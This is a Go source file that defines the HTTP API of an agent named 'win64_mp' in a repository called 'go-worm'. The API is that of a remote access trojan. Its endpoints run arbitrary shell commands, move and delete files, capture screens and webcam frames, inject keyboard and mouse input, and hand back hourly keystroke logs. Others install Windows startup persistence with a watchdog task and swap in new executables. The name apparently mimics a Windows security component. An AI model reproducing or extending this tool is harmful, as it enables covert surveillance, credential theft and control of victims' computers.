Files
go-worm/lib/openapi/spec.go
T

495 lines
19 KiB
Go
Raw Normal View History

package openapi
import "tea.chunkbyte.com/kato/go-worm/lib/config"
func Spec() map[string]any {
ref := func(name string) map[string]string {
return map[string]string{"$ref": "#/components/schemas/" + name}
}
jsonBody := func(schema map[string]string) map[string]any {
return map[string]any{
"required": true,
"content": map[string]any{
"application/json": map[string]any{"schema": schema},
},
}
}
errResp := func(desc string) map[string]any {
return map[string]any{"description": desc, "content": map[string]any{
"application/json": map[string]any{"schema": ref("Error")},
}}
}
okJSON := func(desc string, schema map[string]string) map[string]any {
return map[string]any{"description": desc, "content": map[string]any{
"application/json": map[string]any{"schema": schema},
}}
}
auth := func(responses map[string]any) map[string]any {
responses["401"] = errResp("Unauthorized")
return responses
}
return map[string]any{
"openapi": "3.0.3",
"info": map[string]any{
"title": "win64_mp",
"description": "HTTP API for win64_mp. Set AGENT_ADDR (default 0.0.0.0:5032) and optionally AGENT_FILE_ROOT to restrict file access. HTTP Basic auth required (except /openapi).",
"version": config.Version,
},
"servers": []map[string]any{
{"url": "http://127.0.0.1:5032", "description": "Default listen address (override host/port as needed)"},
},
"security": []map[string]any{{"basicAuth": []string{}}},
"paths": map[string]any{
"/health": map[string]any{
"get": map[string]any{
"summary": "Health check",
"operationId": "health",
"responses": auth(map[string]any{
"200": okJSON("Agent is running", ref("Health")),
}),
},
},
"/healthz": map[string]any{
"get": map[string]any{
"summary": "Health check alias",
"operationId": "healthz",
"responses": auth(map[string]any{
"200": okJSON("Agent is running", ref("Health")),
}),
},
},
"/api/v1/status": map[string]any{
"get": map[string]any{
"summary": "Agent status",
"operationId": "getStatus",
"responses": auth(map[string]any{
"200": okJSON("Host and agent metadata", ref("Status")),
}),
},
},
"/api/v1/files": map[string]any{
"get": map[string]any{
"summary": "List directory entries",
"operationId": "listFiles",
"parameters": []map[string]any{
{"name": "path", "in": "query", "schema": map[string]string{"type": "string"}, "description": "Directory path; defaults to the current user's home directory"},
{"name": "depth", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}, "description": "Recursion depth (0 = immediate children only)"},
},
"responses": auth(map[string]any{
"200": okJSON("Directory listing", ref("FileList")),
"400": errResp("Invalid path or depth"),
"403": errResp("Path outside allowed root"),
"404": errResp("Path not found"),
}),
},
"delete": map[string]any{
"summary": "Delete a file or directory",
"operationId": "deleteFile",
"parameters": []map[string]any{
{"name": "path", "in": "query", "required": true, "schema": map[string]string{"type": "string"}},
},
"responses": auth(map[string]any{
"200": okJSON("Deleted", ref("OkPath")),
"400": errResp("Invalid path"),
"403": errResp("Path outside allowed root"),
"404": errResp("Path not found"),
}),
},
},
"/api/v1/download": map[string]any{
"get": map[string]any{
"summary": "Download a file",
"operationId": "downloadFile",
"parameters": []map[string]any{
{"name": "path", "in": "query", "required": true, "schema": map[string]string{"type": "string"}},
},
"responses": auth(map[string]any{
"200": map[string]any{"description": "File bytes", "content": map[string]any{"application/octet-stream": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}}}},
"400": errResp("Invalid path or directory"),
"403": errResp("Path outside allowed root"),
"404": errResp("File not found"),
}),
},
},
"/api/v1/upload": map[string]any{
"post": map[string]any{
"summary": "Upload a file",
"operationId": "uploadFile",
"requestBody": map[string]any{
"required": true,
"content": map[string]any{
"multipart/form-data": map[string]any{
"schema": map[string]any{
"type": "object",
"required": []string{"path", "file"},
"properties": map[string]any{
"path": map[string]string{"type": "string", "description": "Destination directory"},
"file": map[string]string{"type": "string", "format": "binary"},
},
},
},
},
},
"responses": auth(map[string]any{
"200": okJSON("Uploaded", ref("UploadResult")),
"400": errResp("Invalid path or body"),
"403": errResp("Path outside allowed root"),
}),
},
},
"/api/v1/screenshot": map[string]any{
"get": map[string]any{
"summary": "Capture a monitor",
"operationId": "screenshot",
"parameters": []map[string]any{
{"name": "format", "in": "query", "schema": map[string]any{"type": "string", "enum": []string{"png", "jpeg"}, "default": "png"}},
{"name": "quality", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 1, "maximum": 100, "default": 80}, "description": "JPEG quality only"},
{"name": "monitor", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}},
},
"responses": auth(map[string]any{
"200": map[string]any{
"description": "Screenshot image",
"headers": map[string]any{
"X-Monitor-Left": map[string]any{"schema": map[string]string{"type": "integer"}},
"X-Monitor-Top": map[string]any{"schema": map[string]string{"type": "integer"}},
"X-Monitor-Width": map[string]any{"schema": map[string]string{"type": "integer"}},
"X-Monitor-Height": map[string]any{"schema": map[string]string{"type": "integer"}},
},
"content": map[string]any{
"image/png": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
"image/jpeg": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
},
},
"400": errResp("Invalid parameters"),
"503": errResp("No interactive desktop available"),
}),
},
},
"/api/v1/webcam": map[string]any{
"get": map[string]any{
"summary": "List webcams",
"operationId": "listWebcams",
"responses": auth(map[string]any{
"200": okJSON("Connected capture devices", ref("WebcamList")),
"503": errResp("Webcam enumeration failed"),
}),
},
},
"/api/v1/webcam/frame": map[string]any{
"get": map[string]any{
"summary": "Capture a webcam frame",
"operationId": "webcamFrame",
"parameters": []map[string]any{
{"name": "device", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}, "description": "Device index from /api/v1/webcam"},
{"name": "format", "in": "query", "schema": map[string]any{"type": "string", "enum": []string{"png", "jpeg"}, "default": "jpeg"}},
{"name": "quality", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 1, "maximum": 100, "default": 80}, "description": "JPEG quality only"},
},
"responses": auth(map[string]any{
"200": map[string]any{
"description": "Webcam frame",
"headers": map[string]any{
"X-Webcam-Width": map[string]any{"schema": map[string]string{"type": "integer"}},
"X-Webcam-Height": map[string]any{"schema": map[string]string{"type": "integer"}},
},
"content": map[string]any{
"image/png": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
"image/jpeg": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
},
},
"400": errResp("Invalid parameters or device"),
"503": errResp("Webcam capture failed"),
}),
},
},
"/api/v1/exec": map[string]any{
"post": map[string]any{
"summary": "Run a shell command",
"operationId": "exec",
"requestBody": jsonBody(ref("ExecRequest")),
"responses": auth(map[string]any{
"200": okJSON("Command finished", ref("ExecResponse")),
"400": errResp("Invalid command or timeout"),
"504": errResp("Command timed out"),
}),
},
},
"/api/v1/startup": map[string]any{
"post": map[string]any{
"summary": "Add agent to Windows startup and a 5-minute watchdog task",
"operationId": "enableStartup",
"responses": auth(map[string]any{
"200": okJSON("Startup state", ref("StartupState")),
}),
},
"delete": map[string]any{
"summary": "Remove agent from Windows startup and the watchdog task",
"operationId": "disableStartup",
"responses": auth(map[string]any{
"200": okJSON("Startup state", ref("StartupState")),
}),
},
},
"/api/v1/update": map[string]any{
"post": map[string]any{
"summary": "Deploy uploaded agent executable on alternate port",
"operationId": "deployUpdate",
"description": "Upload a .exe and launch it on port 5033 when this instance uses 5032, or vice versa. The current instance is left running.",
"requestBody": map[string]any{
"required": true,
"content": map[string]any{
"multipart/form-data": map[string]any{
"schema": map[string]any{
"type": "object",
"required": []string{"file"},
"properties": map[string]any{
"file": map[string]string{"type": "string", "format": "binary", "description": "Windows amd64 executable"},
},
},
},
},
},
"responses": auth(map[string]any{
"200": okJSON("Update launched", ref("UpdateResult")),
"400": errResp("Invalid file or executable"),
"409": errResp("Alternate port already in use"),
}),
},
},
"/api/v1/input/click": map[string]any{
"post": map[string]any{
"summary": "Click the desktop",
"operationId": "click",
"requestBody": jsonBody(ref("ClickRequest")),
"responses": auth(map[string]any{
"200": okJSON("Clicked", ref("ClickResult")),
"400": errResp("Invalid coordinates or button"),
}),
},
},
"/api/v1/input/key": map[string]any{
"post": map[string]any{
"summary": "Send a key press",
"operationId": "sendKey",
"requestBody": jsonBody(ref("KeyRequest")),
"responses": auth(map[string]any{
"200": okJSON("Key sent", ref("KeyResult")),
"400": errResp("Invalid key or action"),
}),
},
},
"/api/v1/input/text": map[string]any{
"post": map[string]any{
"summary": "Type text into the focused field",
"operationId": "typeText",
"requestBody": jsonBody(ref("TextRequest")),
"responses": auth(map[string]any{
"200": okJSON("Text typed", ref("TextResult")),
"400": errResp("Invalid or empty text"),
}),
},
},
"/api/v1/keylog": map[string]any{
"get": map[string]any{
"summary": "List keystroke log files",
"operationId": "listKeylogs",
"responses": auth(map[string]any{
"200": okJSON("Keystroke log index", ref("KeylogList")),
}),
},
},
"/api/v1/keylog/download": map[string]any{
"get": map[string]any{
"summary": "Download a keystroke log file",
"operationId": "downloadKeylog",
"parameters": []map[string]any{
{"name": "file", "in": "query", "required": true, "schema": map[string]string{"type": "string"}, "description": "Hourly log filename, e.g. 2026-08-28-13.log"},
},
"responses": auth(map[string]any{
"200": map[string]any{"description": "Plain-text keystroke transcript", "content": map[string]any{
"text/plain": map[string]any{"schema": map[string]string{"type": "string"}},
}},
"400": errResp("Invalid filename"),
"404": errResp("Log file not found"),
}),
},
},
},
"components": map[string]any{
"securitySchemes": map[string]any{
"basicAuth": map[string]any{"type": "http", "scheme": "basic"},
},
"schemas": map[string]any{
"Error": map[string]any{
"type": "object", "required": []string{"error"},
"properties": map[string]any{"error": map[string]string{"type": "string"}},
},
"Health": map[string]any{
"type": "object", "required": []string{"status"},
"properties": map[string]any{"status": map[string]string{"type": "string", "example": "ok"}},
},
"Status": map[string]any{
"type": "object",
"properties": map[string]any{
"os": map[string]string{"type": "string"},
"architecture": map[string]string{"type": "string"},
"user": map[string]string{"type": "string"},
"hostname": map[string]string{"type": "string"},
"uptime_seconds": map[string]any{"type": "integer", "format": "int64"},
"local_ips": map[string]any{"type": "array", "items": map[string]string{"type": "string"}},
"agent_version": map[string]string{"type": "string"},
"listen_address": map[string]string{"type": "string"},
"startup_enabled": map[string]any{"type": "boolean"},
},
},
"FileItem": map[string]any{
"type": "object",
"properties": map[string]any{
"name": map[string]string{"type": "string"},
"path": map[string]string{"type": "string"},
"type": map[string]any{"type": "string", "enum": []string{"file", "dir"}},
"size": map[string]any{"type": "integer", "format": "int64"},
"modified_time": map[string]string{"type": "string", "format": "date-time"},
},
},
"FileList": map[string]any{
"type": "object",
"properties": map[string]any{
"path": map[string]string{"type": "string"},
"depth": map[string]any{"type": "integer"},
"entries": map[string]any{"type": "array", "items": ref("FileItem")},
},
},
"OkPath": map[string]any{
"type": "object",
"properties": map[string]any{
"ok": map[string]any{"type": "boolean"},
"path": map[string]string{"type": "string"},
},
},
"UploadResult": map[string]any{
"type": "object",
"properties": map[string]any{
"ok": map[string]any{"type": "boolean"},
"path": map[string]string{"type": "string"},
"size": map[string]any{"type": "integer", "format": "int64"},
"name": map[string]string{"type": "string"},
},
},
"UpdateResult": map[string]any{
"type": "object",
"properties": map[string]any{
"ok": map[string]any{"type": "boolean"},
"path": map[string]string{"type": "string"},
"listen_address": map[string]string{"type": "string"},
"previous_listen_address": map[string]string{"type": "string"},
},
},
"ExecRequest": map[string]any{
"type": "object", "required": []string{"command"},
"properties": map[string]any{
"command": map[string]string{"type": "string", "example": "ipconfig /all"},
"timeout_sec": map[string]any{"type": "integer", "minimum": 0, "maximum": 120, "default": 30},
},
},
"ExecResponse": map[string]any{
"type": "object",
"properties": map[string]any{
"exit_code": map[string]any{"type": "integer"},
"stdout": map[string]string{"type": "string"},
"stderr": map[string]string{"type": "string"},
},
},
"StartupState": map[string]any{
"type": "object",
"properties": map[string]any{"startup_enabled": map[string]any{"type": "boolean"}},
},
"ClickRequest": map[string]any{
"type": "object", "required": []string{"x", "y", "button"},
"properties": map[string]any{
"x": map[string]any{"type": "integer", "description": "Absolute screen X coordinate"},
"y": map[string]any{"type": "integer", "description": "Absolute screen Y coordinate"},
"button": map[string]any{"type": "string", "enum": []string{"left", "right", "middle"}},
"monitor": map[string]any{"type": "integer", "minimum": 0, "default": 0},
},
},
"ClickResult": map[string]any{
"type": "object",
"properties": map[string]any{
"ok": map[string]any{"type": "boolean"},
"x": map[string]any{"type": "integer"},
"y": map[string]any{"type": "integer"},
},
},
"KeyRequest": map[string]any{
"type": "object", "required": []string{"key"},
"properties": map[string]any{
"key": map[string]string{"type": "string", "example": "a", "description": "Key name: letter, digit, enter, f1, etc."},
"action": map[string]any{
"type": "string", "enum": []string{"tap", "down", "up"}, "default": "tap",
},
"modifiers": map[string]any{
"type": "array",
"items": map[string]any{
"type": "string", "enum": []string{"ctrl", "alt", "shift", "win"},
},
},
},
},
"KeyResult": map[string]any{
"type": "object",
"properties": map[string]any{
"ok": map[string]any{"type": "boolean"},
"key": map[string]string{"type": "string"},
"action": map[string]string{"type": "string"},
},
},
"TextRequest": map[string]any{
"type": "object", "required": []string{"text"},
"properties": map[string]any{
"text": map[string]any{"type": "string", "maxLength": 4096},
"delay_ms": map[string]any{"type": "integer", "minimum": 0, "maximum": 200},
},
},
"TextResult": map[string]any{
"type": "object",
"properties": map[string]any{
"ok": map[string]any{"type": "boolean"},
"length": map[string]any{"type": "integer"},
"delay_ms": map[string]any{"type": "integer"},
},
},
"KeylogFile": map[string]any{
"type": "object",
"properties": map[string]any{
"name": map[string]string{"type": "string"},
"size": map[string]any{"type": "integer", "format": "int64"},
"modified_time": map[string]string{"type": "string", "format": "date-time"},
},
},
"KeylogList": map[string]any{
"type": "object",
"properties": map[string]any{
"directory": map[string]string{"type": "string"},
"files": map[string]any{"type": "array", "items": ref("KeylogFile")},
},
},
"WebcamDevice": map[string]any{
"type": "object",
"properties": map[string]any{
"index": map[string]any{"type": "integer"},
"name": map[string]string{"type": "string"},
"version": map[string]string{"type": "string"},
},
},
"WebcamList": map[string]any{
"type": "object",
"properties": map[string]any{
"devices": map[string]any{"type": "array", "items": ref("WebcamDevice")},
},
},
},
},
}
}